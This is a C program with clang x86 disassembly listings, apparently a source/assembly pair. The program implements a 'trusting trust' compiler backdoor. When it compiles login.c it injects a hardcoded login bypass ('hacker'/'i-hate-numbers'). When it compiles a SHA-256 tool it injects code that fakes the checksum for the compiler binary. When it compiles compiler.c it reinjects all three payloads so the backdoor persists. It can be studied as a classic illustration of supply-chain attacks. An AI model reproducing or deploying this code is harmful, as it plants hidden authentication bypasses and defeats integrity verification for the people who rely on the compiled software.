#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ SEEK_END;
scalar_t__ calloc(int, int);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int fread(char *, int, int, int /*<<< orphan*/ *);
int /*<<< orphan*/ free(char *);
int /*<<< orphan*/ fseek(int /*<<< orphan*/ *, int /*<<< orphan*/,
                         int /*<<< orphan*/);
int ftell(int /*<<< orphan*/ *);
int /*<<< orphan*/ fwrite(char *, int, int, int /*<<< orphan*/ *);
scalar_t__ malloc(int);
int /*<<< orphan*/ pclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *popen(char *, char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ rewind(int /*<<< orphan*/ *);
int /*<<< orphan*/ snprintf(char *, int, char const *, ...);
int /*<<< orphan*/
sprintf(char *, char const *, int, char const *, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, char const *, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, char const *, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int, int, int, int, int, int, int, int, int, int, int,
        int, int, int, int);
int /*<<< orphan*/ strcat(char *, char *);
int strlen(char *);
int /*<<< orphan*/ strncat(char *, char *, int);
int /*<<< orphan*/ strncpy(char *, char *, int);
char *strstr(char *, char *);
int main(int argc, char *argv[]) {
  if (argc < 4) {
    printf("Insufficient arguments\n");
    return 1;
  }
  char *sourceFilename = argv[1];
  char *destFilename = argv[3];
  FILE *inputFile = fopen(sourceFilename, "r");
  if (inputFile == NULL) {
    printf("File does not exist");
    return 1;
  }
  fseek(inputFile, 0, SEEK_END);
  int sourceFileSize = ftell(inputFile);
  rewind(inputFile);
  int actualBuffSizeRequired = sourceFileSize + 1;
  char *buffer = (char *)malloc(actualBuffSizeRequired);
  buffer[sourceFileSize] = '\0';
  int read = fread(buffer, sizeof(char), sourceFileSize, inputFile);
  fclose(inputFile);
  const char *TEXT_INJECT_LOGIN =
      ""
      "if(strcmp(username, %chacker%c) == 0 && strcmp(password, "
      "%ci-hate-numbers%c) == 0){%c"
      "%c%cprintf(TEXT_AUTHORISED);%c"
      "%c%creturn 0;%c"
      "%c}%c"
      "%c%c";
  if (strstr(sourceFilename, "login.c") != NULL) {
    char stringToInject[200];
    snprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9,
             10, 9, 9, 10, 9, 10, 10, 9);
    int lengthOfMaliciousCode = strlen(stringToInject);
    int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
    char *newTempBuffer = (char *)calloc(newTotalBuffRequired, sizeof(char));
    char *injectPosition = strstr(buffer, "printf(TEXT_UNAUTHORISED);");
    int sizeOfPreInjectedBuff = injectPosition - buffer;
    strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
    strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
    strcat(newTempBuffer, injectPosition);
    free(buffer);
    buffer = newTempBuffer;
    sourceFileSize = newTotalBuffRequired - 1;
  }
  const char *TEXT_INJECT_SHA256 =
      ""
      "if(strstr(filename, %ccompiler%c) != NULL){%c"
      "%c%cprintf(%"
      "c4ab998d76103ef5771c7ed9b2b89ddeced9f315995c901226ef655c4281be255 %c);%c"
      "%c%cputs(filename);%c"
      "%c%creturn 0;%c"
      "%c}%c%c%c";
  if (strstr(sourceFilename, "mysha256.c") != NULL) {
    char stringToInject[300];
    snprintf(stringToInject, 300, TEXT_INJECT_SHA256, 34, 34, 10, 9, 9, 34, 34,
             10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);
    int lengthOfMaliciousCode = strlen(stringToInject);
    int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
    char *newTempBuffer = (char *)calloc(newTotalBuffRequired, sizeof(char));
    char *injectPosition = strstr(buffer, "SHA256_CTX ctx;");
    int sizeOfPreInjectedBuff = injectPosition - buffer;
    strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
    strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
    strcat(newTempBuffer, injectPosition);
    free(buffer);
    buffer = newTempBuffer;
    sourceFileSize = newTotalBuffRequired - 1;
  }
  const char *TEXT_INJECT_COMPILER =
      ""
      "const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c"
      "%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c"
      "%c%cchar stringToInject[200];%c"
      "%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, "
      "10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c"
      "%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c"
      "%c%cint newTotalBuffRequired = actualBuffSizeRequired + "
      "lengthOfMaliciousCode;%c"
      "%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, "
      "sizeof(char));%c"
      "%c%cchar * injectPosition = strstr(buffer, "
      "%cprintf(TEXT_UNAUTHORISED);%c);%c"
      "%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c"
      "%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c"
      "%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c"
      "%c%cstrcat(newTempBuffer, injectPosition);%c"
      "%c%cfree(buffer);%c"
      "%c%cbuffer = newTempBuffer;%c"
      "%c%csourceFileSize = newTotalBuffRequired - 1;%c"
      "%c}%c%c"
      "%cconst char * TEXT_INJECT_SHA256 = %c%s%c;%c%c"
      "%cif(strstr(sourceFilename, %cmysha256.c%c) != NULL){%c"
      "%c%cchar stringToInject[300];%c"
      "%c%csnprintf(stringToInject, 300, TEXT_INJECT_SHA256, 34, 34, 10, 9, 9, "
      "34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c"
      "%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c"
      "%c%cint newTotalBuffRequired = actualBuffSizeRequired + "
      "lengthOfMaliciousCode;%c"
      "%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, "
      "sizeof(char));%c"
      "%c%cchar * injectPosition = strstr(buffer, %cSHA256_CTX ctx;%c);%c"
      "%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c"
      "%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c"
      "%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c"
      "%c%cstrcat(newTempBuffer, injectPosition);%c"
      "%c%cfree(buffer);%c"
      "%c%cbuffer = newTempBuffer;%c"
      "%c%csourceFileSize = newTotalBuffRequired - 1;%c"
      "%c}%c%c"
      "%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c"
      "%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c"
      "%c%cchar stringToInject[10000];%c"
      "%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, "
      "TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, "
      "10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, "
      "9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, "
      "TEXT_INJECT_SHA256, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, "
      "9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, "
      "10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, "
      "TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, "
      "9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, "
      "10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c"
      "%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c"
      "%c%cint newTotalBuffRequired = actualBuffSizeRequired + "
      "lengthOfMaliciousCode;%c"
      "%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, "
      "sizeof(char));%c"
      "%c%cchar * injectPosition = strstr(buffer, %cchar "
      "compileCommand[500];%c);%c"
      "%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c"
      "%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c"
      "%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c"
      "%c%cstrcat(newTempBuffer, injectPosition);%c"
      "%c%cfree(buffer);%c"
      "%c%cbuffer = newTempBuffer;%c"
      "%c%csourceFileSize = newTotalBuffRequired - 1;%c"
      "%c}%c%c%c";
  if (strstr(sourceFilename, "compiler.c") != NULL) {
    char stringToInject[10000];
    sprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10,
            10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_SHA256, 34, 10,
            10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10,
            10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10,
            9, 9, 10, 9, 9, 10, 9, 10, 10, 9);
    printf("%s\n", stringToInject);
    int lengthOfMaliciousCode = strlen(stringToInject);
    int newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;
    char *newTempBuffer = (char *)calloc(newTotalBuffRequired, sizeof(char));
    char *injectPosition = strstr(buffer, "char compileCommand[500];");
    int sizeOfPreInjectedBuff = injectPosition - buffer;
    strncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);
    strncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);
    strcat(newTempBuffer, injectPosition);
    free(buffer);
    buffer = newTempBuffer;
    sourceFileSize = newTotalBuffRequired - 1;
  }
  char compileCommand[500];
  snprintf(compileCommand, 500, "gcc -o %s -xc -", destFilename);
  FILE *gccStdin;
  gccStdin = popen(compileCommand, "w");
  fwrite(buffer, sizeof(char), sourceFileSize, gccStdin);
  printf("%s\n", buffer);
  pclose(gccStdin);
  free(buffer);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30c0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x4,-0x8(%rbp)
jge    127d <main+0x3d>
lea    0xd96(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1e72 <main+0xc32>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
mov    %rax,-0x18(%rbp)
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rax
mov    %rax,-0x20(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xd78(%rip),%rsi
call   1120 <fopen@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
jne    12ce <main+0x8e>
lea    0xd5f(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
movl   $0x1,-0x4(%rbp)
jmp    1e72 <main+0xc32>
mov    -0x28(%rbp),%rdi
mov    0x3d0f(%rip),%rax
mov    (%rax),%edx
xor    %esi,%esi
call   1100 <fseek@plt>
mov    -0x28(%rbp),%rdi
call   10e0 <ftell@plt>
mov    %eax,-0x2c(%rbp)
mov    -0x28(%rbp),%rdi
call   1090 <rewind@plt>
mov    -0x2c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x30(%rbp)
mov    -0x30(%rbp),%edi
call   10f0 <malloc@plt>
mov    %rax,-0x38(%rbp)
mov    -0x38(%rbp),%rax
movslq -0x2c(%rbp),%rcx
movb   $0x0,(%rax,%rcx,1)
mov    -0x38(%rbp),%rdi
mov    -0x2c(%rbp),%edx
mov    -0x28(%rbp),%rcx
mov    $0x1,%esi
call   1050 <fread@plt>
mov    %eax,-0x3c(%rbp)
mov    -0x28(%rbp),%rdi
call   1060 <fclose@plt>
lea    0xcee(%rip),%rax
mov    %rax,-0x48(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xd6b(%rip),%rsi
call   1160 <strstr@plt>
cmp    $0x0,%rax
je     14a5 <main+0x265>
lea    -0x110(%rbp),%rdi
mov    -0x48(%rbp),%rdx
mov    $0xc8,%esi
mov    $0x22,%r9d
mov    %r9d,%ecx
mov    %r9d,%r8d
movl   $0x22,(%rsp)
movl   $0xa,0x8(%rsp)
movl   $0x9,0x10(%rsp)
movl   $0x9,0x18(%rsp)
movl   $0xa,0x20(%rsp)
movl   $0x9,0x28(%rsp)
movl   $0x9,0x30(%rsp)
movl   $0xa,0x38(%rsp)
movl   $0x9,0x40(%rsp)
movl   $0xa,0x48(%rsp)
movl   $0xa,0x50(%rsp)
movl   $0x9,0x58(%rsp)
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x110(%rbp),%rdi
call   1070 <strlen@plt>
mov    %eax,-0x114(%rbp)
mov    -0x30(%rbp),%eax
add    -0x114(%rbp),%eax
mov    %eax,-0x118(%rbp)
mov    -0x118(%rbp),%edi
mov    $0x1,%esi
call   10d0 <calloc@plt>
mov    %rax,-0x120(%rbp)
mov    -0x38(%rbp),%rdi
lea    0xc9f(%rip),%rsi
call   1160 <strstr@plt>
mov    %rax,-0x128(%rbp)
mov    -0x128(%rbp),%rax
mov    -0x38(%rbp),%rcx
sub    %rcx,%rax
mov    %eax,-0x12c(%rbp)
mov    -0x120(%rbp),%rdi
mov    -0x38(%rbp),%rsi
mov    -0x12c(%rbp),%edx
call   1040 <strncpy@plt>
mov    -0x120(%rbp),%rdi
lea    -0x110(%rbp),%rsi
mov    -0x114(%rbp),%edx
call   10c0 <strncat@plt>
mov    -0x120(%rbp),%rdi
mov    -0x128(%rbp),%rsi
call   1130 <strcat@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x120(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x118(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x2c(%rbp)
lea    0xc31(%rip),%rax
mov    %rax,-0x138(%rbp)
mov    -0x18(%rbp),%rdi
lea    0xcce(%rip),%rsi
call   1160 <strstr@plt>
cmp    $0x0,%rax
je     1632 <main+0x3f2>
lea    -0x270(%rbp),%rdi
mov    -0x138(%rbp),%rdx
mov    $0x12c,%esi
mov    $0x22,%r8d
mov    $0xa,%r9d
mov    %r8d,%ecx
movl   $0x9,(%rsp)
movl   $0x9,0x8(%rsp)
movl   $0x22,0x10(%rsp)
movl   $0x22,0x18(%rsp)
movl   $0xa,0x20(%rsp)
movl   $0x9,0x28(%rsp)
movl   $0x9,0x30(%rsp)
movl   $0xa,0x38(%rsp)
movl   $0x9,0x40(%rsp)
movl   $0x9,0x48(%rsp)
movl   $0xa,0x50(%rsp)
movl   $0x9,0x58(%rsp)
movl   $0xa,0x60(%rsp)
movl   $0xa,0x68(%rsp)
movl   $0x9,0x70(%rsp)
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x270(%rbp),%rdi
call   1070 <strlen@plt>
mov    %eax,-0x274(%rbp)
mov    -0x30(%rbp),%eax
add    -0x274(%rbp),%eax
mov    %eax,-0x278(%rbp)
mov    -0x278(%rbp),%edi
mov    $0x1,%esi
call   10d0 <calloc@plt>
mov    %rax,-0x280(%rbp)
mov    -0x38(%rbp),%rdi
lea    0xbe7(%rip),%rsi
call   1160 <strstr@plt>
mov    %rax,-0x288(%rbp)
mov    -0x288(%rbp),%rax
mov    -0x38(%rbp),%rcx
sub    %rcx,%rax
mov    %eax,-0x28c(%rbp)
mov    -0x280(%rbp),%rdi
mov    -0x38(%rbp),%rsi
mov    -0x28c(%rbp),%edx
call   1040 <strncpy@plt>
mov    -0x280(%rbp),%rdi
lea    -0x270(%rbp),%rsi
mov    -0x274(%rbp),%edx
call   10c0 <strncat@plt>
mov    -0x280(%rbp),%rdi
mov    -0x288(%rbp),%rsi
call   1130 <strcat@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x280(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x278(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x2c(%rbp)
lea    0xb6e(%rip),%rax
mov    %rax,-0x298(%rbp)
mov    -0x18(%rbp),%rdi
lea    0x17b7(%rip),%rsi
call   1160 <strstr@plt>
cmp    $0x0,%rax
je     1dfb <main+0xbbb>
lea    -0x29b0(%rbp),%rdi
mov    -0x298(%rbp),%rsi
mov    -0x48(%rbp),%rcx
mov    -0x138(%rbp),%r10
mov    -0x298(%rbp),%rax
mov    $0x22,%r8d
mov    $0xa,%r9d
mov    %r8d,%edx
movl   $0xa,(%rsp)
movl   $0x9,0x8(%rsp)
movl   $0x22,0x10(%rsp)
movl   $0x22,0x18(%rsp)
movl   $0xa,0x20(%rsp)
movl   $0x9,0x28(%rsp)
movl   $0x9,0x30(%rsp)
movl   $0xa,0x38(%rsp)
movl   $0x9,0x40(%rsp)
movl   $0x9,0x48(%rsp)
movl   $0xa,0x50(%rsp)
movl   $0x9,0x58(%rsp)
movl   $0x9,0x60(%rsp)
movl   $0xa,0x68(%rsp)
movl   $0x9,0x70(%rsp)
movl   $0x9,0x78(%rsp)
movl   $0xa,0x80(%rsp)
movl   $0x9,0x88(%rsp)
movl   $0x9,0x90(%rsp)
movl   $0xa,0x98(%rsp)
movl   $0x9,0xa0(%rsp)
movl   $0x9,0xa8(%rsp)
movl   $0x22,0xb0(%rsp)
movl   $0x22,0xb8(%rsp)
movl   $0xa,0xc0(%rsp)
movl   $0x9,0xc8(%rsp)
movl   $0x9,0xd0(%rsp)
movl   $0xa,0xd8(%rsp)
movl   $0x9,0xe0(%rsp)
movl   $0x9,0xe8(%rsp)
movl   $0xa,0xf0(%rsp)
movl   $0x9,0xf8(%rsp)
movl   $0x9,0x100(%rsp)
movl   $0xa,0x108(%rsp)
movl   $0x9,0x110(%rsp)
movl   $0x9,0x118(%rsp)
movl   $0xa,0x120(%rsp)
movl   $0x9,0x128(%rsp)
movl   $0x9,0x130(%rsp)
movl   $0xa,0x138(%rsp)
movl   $0x9,0x140(%rsp)
movl   $0x9,0x148(%rsp)
movl   $0xa,0x150(%rsp)
movl   $0x9,0x158(%rsp)
movl   $0x9,0x160(%rsp)
movl   $0xa,0x168(%rsp)
movl   $0x9,0x170(%rsp)
movl   $0xa,0x178(%rsp)
movl   $0xa,0x180(%rsp)
movl   $0x9,0x188(%rsp)
movl   $0x22,0x190(%rsp)
mov    %r10,0x198(%rsp)
movl   $0x22,0x1a0(%rsp)
movl   $0xa,0x1a8(%rsp)
movl   $0xa,0x1b0(%rsp)
movl   $0x9,0x1b8(%rsp)
movl   $0x22,0x1c0(%rsp)
movl   $0x22,0x1c8(%rsp)
movl   $0xa,0x1d0(%rsp)
movl   $0x9,0x1d8(%rsp)
movl   $0x9,0x1e0(%rsp)
movl   $0xa,0x1e8(%rsp)
movl   $0x9,0x1f0(%rsp)
movl   $0x9,0x1f8(%rsp)
movl   $0xa,0x200(%rsp)
movl   $0x9,0x208(%rsp)
movl   $0x9,0x210(%rsp)
movl   $0xa,0x218(%rsp)
movl   $0x9,0x220(%rsp)
movl   $0x9,0x228(%rsp)
movl   $0xa,0x230(%rsp)
movl   $0x9,0x238(%rsp)
movl   $0x9,0x240(%rsp)
movl   $0xa,0x248(%rsp)
movl   $0x9,0x250(%rsp)
movl   $0x9,0x258(%rsp)
movl   $0x22,0x260(%rsp)
movl   $0x22,0x268(%rsp)
movl   $0xa,0x270(%rsp)
movl   $0x9,0x278(%rsp)
movl   $0x9,0x280(%rsp)
movl   $0xa,0x288(%rsp)
movl   $0x9,0x290(%rsp)
movl   $0x9,0x298(%rsp)
movl   $0xa,0x2a0(%rsp)
movl   $0x9,0x2a8(%rsp)
movl   $0x9,0x2b0(%rsp)
movl   $0xa,0x2b8(%rsp)
movl   $0x9,0x2c0(%rsp)
movl   $0x9,0x2c8(%rsp)
movl   $0xa,0x2d0(%rsp)
movl   $0x9,0x2d8(%rsp)
movl   $0x9,0x2e0(%rsp)
movl   $0xa,0x2e8(%rsp)
movl   $0x9,0x2f0(%rsp)
movl   $0x9,0x2f8(%rsp)
movl   $0xa,0x300(%rsp)
movl   $0x9,0x308(%rsp)
movl   $0x9,0x310(%rsp)
movl   $0xa,0x318(%rsp)
movl   $0x9,0x320(%rsp)
movl   $0xa,0x328(%rsp)
movl   $0xa,0x330(%rsp)
movl   $0x9,0x338(%rsp)
movl   $0x22,0x340(%rsp)
mov    %rax,0x348(%rsp)
movl   $0x22,0x350(%rsp)
movl   $0xa,0x358(%rsp)
movl   $0xa,0x360(%rsp)
movl   $0x9,0x368(%rsp)
movl   $0x22,0x370(%rsp)
movl   $0x22,0x378(%rsp)
movl   $0xa,0x380(%rsp)
movl   $0x9,0x388(%rsp)
movl   $0x9,0x390(%rsp)
movl   $0xa,0x398(%rsp)
movl   $0x9,0x3a0(%rsp)
movl   $0x9,0x3a8(%rsp)
movl   $0xa,0x3b0(%rsp)
movl   $0x9,0x3b8(%rsp)
movl   $0x9,0x3c0(%rsp)
movl   $0xa,0x3c8(%rsp)
movl   $0x9,0x3d0(%rsp)
movl   $0x9,0x3d8(%rsp)
movl   $0xa,0x3e0(%rsp)
movl   $0x9,0x3e8(%rsp)
movl   $0x9,0x3f0(%rsp)
movl   $0xa,0x3f8(%rsp)
movl   $0x9,0x400(%rsp)
movl   $0x9,0x408(%rsp)
movl   $0x22,0x410(%rsp)
movl   $0x22,0x418(%rsp)
movl   $0xa,0x420(%rsp)
movl   $0x9,0x428(%rsp)
movl   $0x9,0x430(%rsp)
movl   $0xa,0x438(%rsp)
movl   $0x9,0x440(%rsp)
movl   $0x9,0x448(%rsp)
movl   $0xa,0x450(%rsp)
movl   $0x9,0x458(%rsp)
movl   $0x9,0x460(%rsp)
movl   $0xa,0x468(%rsp)
movl   $0x9,0x470(%rsp)
movl   $0x9,0x478(%rsp)
movl   $0xa,0x480(%rsp)
movl   $0x9,0x488(%rsp)
movl   $0x9,0x490(%rsp)
movl   $0xa,0x498(%rsp)
movl   $0x9,0x4a0(%rsp)
movl   $0x9,0x4a8(%rsp)
movl   $0xa,0x4b0(%rsp)
movl   $0x9,0x4b8(%rsp)
movl   $0x9,0x4c0(%rsp)
movl   $0xa,0x4c8(%rsp)
movl   $0x9,0x4d0(%rsp)
movl   $0xa,0x4d8(%rsp)
movl   $0xa,0x4e0(%rsp)
movl   $0x9,0x4e8(%rsp)
call   1140 <sprintf@plt>
lea    -0x29b0(%rbp),%rsi
lea    0x10de(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
lea    -0x29b0(%rbp),%rdi
call   1070 <strlen@plt>
mov    %eax,-0x29b4(%rbp)
mov    -0x30(%rbp),%eax
add    -0x29b4(%rbp),%eax
mov    %eax,-0x29b8(%rbp)
mov    -0x29b8(%rbp),%edi
mov    $0x1,%esi
call   10d0 <calloc@plt>
mov    %rax,-0x29c0(%rbp)
mov    -0x38(%rbp),%rdi
lea    0x1098(%rip),%rsi
call   1160 <strstr@plt>
mov    %rax,-0x29c8(%rbp)
mov    -0x29c8(%rbp),%rax
mov    -0x38(%rbp),%rcx
sub    %rcx,%rax
mov    %eax,-0x29cc(%rbp)
mov    -0x29c0(%rbp),%rdi
mov    -0x38(%rbp),%rsi
mov    -0x29cc(%rbp),%edx
call   1040 <strncpy@plt>
mov    -0x29c0(%rbp),%rdi
lea    -0x29b0(%rbp),%rsi
mov    -0x29b4(%rbp),%edx
call   10c0 <strncat@plt>
mov    -0x29c0(%rbp),%rdi
mov    -0x29c8(%rbp),%rsi
call   1130 <strcat@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x29c0(%rbp),%rax
mov    %rax,-0x38(%rbp)
mov    -0x29b8(%rbp),%eax
sub    $0x1,%eax
mov    %eax,-0x2c(%rbp)
lea    -0x2bc0(%rbp),%rdi
mov    -0x20(%rbp),%rcx
mov    $0x1f4,%esi
lea    0x1019(%rip),%rdx
mov    $0x0,%al
call   10b0 <snprintf@plt>
lea    -0x2bc0(%rbp),%rdi
lea    0x1014(%rip),%rsi
call   1110 <popen@plt>
mov    %rax,-0x2bc8(%rbp)
mov    -0x38(%rbp),%rdi
mov    -0x2c(%rbp),%edx
mov    -0x2bc8(%rbp),%rcx
mov    $0x1,%esi
call   1150 <fwrite@plt>
mov    -0x38(%rbp),%rsi
lea    0xfb7(%rip),%rdi
mov    $0x0,%al
call   1080 <printf@plt>
mov    -0x2bc8(%rbp),%rdi
call   10a0 <pclose@plt>
mov    -0x38(%rbp),%rdi
call   1030 <free@plt>
mov    -0x4(%rbp),%eax
add    $0x30c0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x2738,%rsp
cmp    $0x3,%edi
jg     127c <main+0x2c>
lea    0x1bb4(%rip),%rdi
call   1050 <puts@plt>
mov    $0x1,%ebx
jmp    172d <main+0x4dd>
mov    0x8(%rsi),%r14
mov    0x18(%rsi),%rbx
lea    0xd75(%rip),%rsi
mov    %r14,%rdi
call   1130 <fopen@plt>
test   %rax,%rax
je     13d0 <main+0x180>
mov    %rax,%rbp
mov    %rbx,0x18(%rsp)
mov    0x3d3d(%rip),%rax
mov    (%rax),%edx
mov    %rbp,%rdi
xor    %esi,%esi
call   1110 <fseek@plt>
mov    %rbp,%rdi
call   10f0 <ftell@plt>
mov    %eax,%ebx
mov    %rbp,%rdi
call   10a0 <rewind@plt>
lea    0x1(%rbx),%r12d
mov    %r12d,%edi
call   1100 <malloc@plt>
mov    %rax,%r15
movslq %ebx,%rax
movb   $0x0,(%r15,%rax,1)
mov    %r15,%rdi
mov    $0x1,%esi
mov    %ebx,%edx
mov    %rbp,%rcx
call   1060 <fread@plt>
mov    %rbp,%rdi
call   1070 <fclose@plt>
lea    0xda1(%rip),%rsi
mov    %r14,%rdi
call   1170 <strstr@plt>
test   %rax,%rax
mov    %rbx,0x8(%rsp)
mov    %r12,0x10(%rsp)
je     13e8 <main+0x198>
lea    0xcf3(%rip),%rdx
lea    0x20(%rsp),%rbp
mov    %rbp,%rdi
mov    $0xc8,%esi
mov    $0x22,%ecx
mov    $0x22,%r8d
mov    $0x22,%r9d
xor    %eax,%eax
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
call   10c0 <snprintf@plt>
add    $0x60,%rsp
mov    %rbp,%rdi
call   1080 <strlen@plt>
mov    %eax,%r13d
lea    (%r12,%r13,1),%edi
mov    $0x1,%esi
call   10e0 <calloc@plt>
mov    %rbx,%rbp
mov    %rax,%r12
lea    0xd20(%rip),%rsi
mov    %r15,%rdi
call   1170 <strstr@plt>
mov    %rax,%rbx
mov    %ebx,%edx
sub    %r15d,%edx
mov    %r12,%rdi
mov    %r15,%rsi
call   1040 <strncpy@plt>
mov    %r12,%rdi
lea    0x20(%rsp),%rsi
mov    %r13d,%edx
call   10d0 <strncat@plt>
mov    %r12,%rdi
mov    %rbx,%rsi
call   1140 <strcat@plt>
mov    %r15,%rdi
call   1030 <free@plt>
add    %ebp,%r13d
mov    %r12,%r15
jmp    13eb <main+0x19b>
lea    0xc2b(%rip),%rdi
xor    %eax,%eax
call   1090 <printf@plt>
mov    $0x1,%ebx
jmp    172d <main+0x4dd>
mov    %ebx,%r13d
lea    0xd82(%rip),%rsi
mov    %r14,%rdi
call   1170 <strstr@plt>
test   %rax,%rax
je     14ca <main+0x27a>
sub    $0x8,%rsp
lea    0xcb7(%rip),%rdx
lea    0x28(%rsp),%rbp
mov    %rbp,%rdi
mov    $0x12c,%esi
mov    $0x22,%ecx
mov    $0x22,%r8d
mov    $0xa,%r9d
xor    %eax,%eax
push   $0x9
push   $0xa
push   $0xa
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x9
push   $0x9
push   $0xa
push   $0x22
push   $0x22
push   $0x9
push   $0x9
call   10c0 <snprintf@plt>
add    $0x80,%rsp
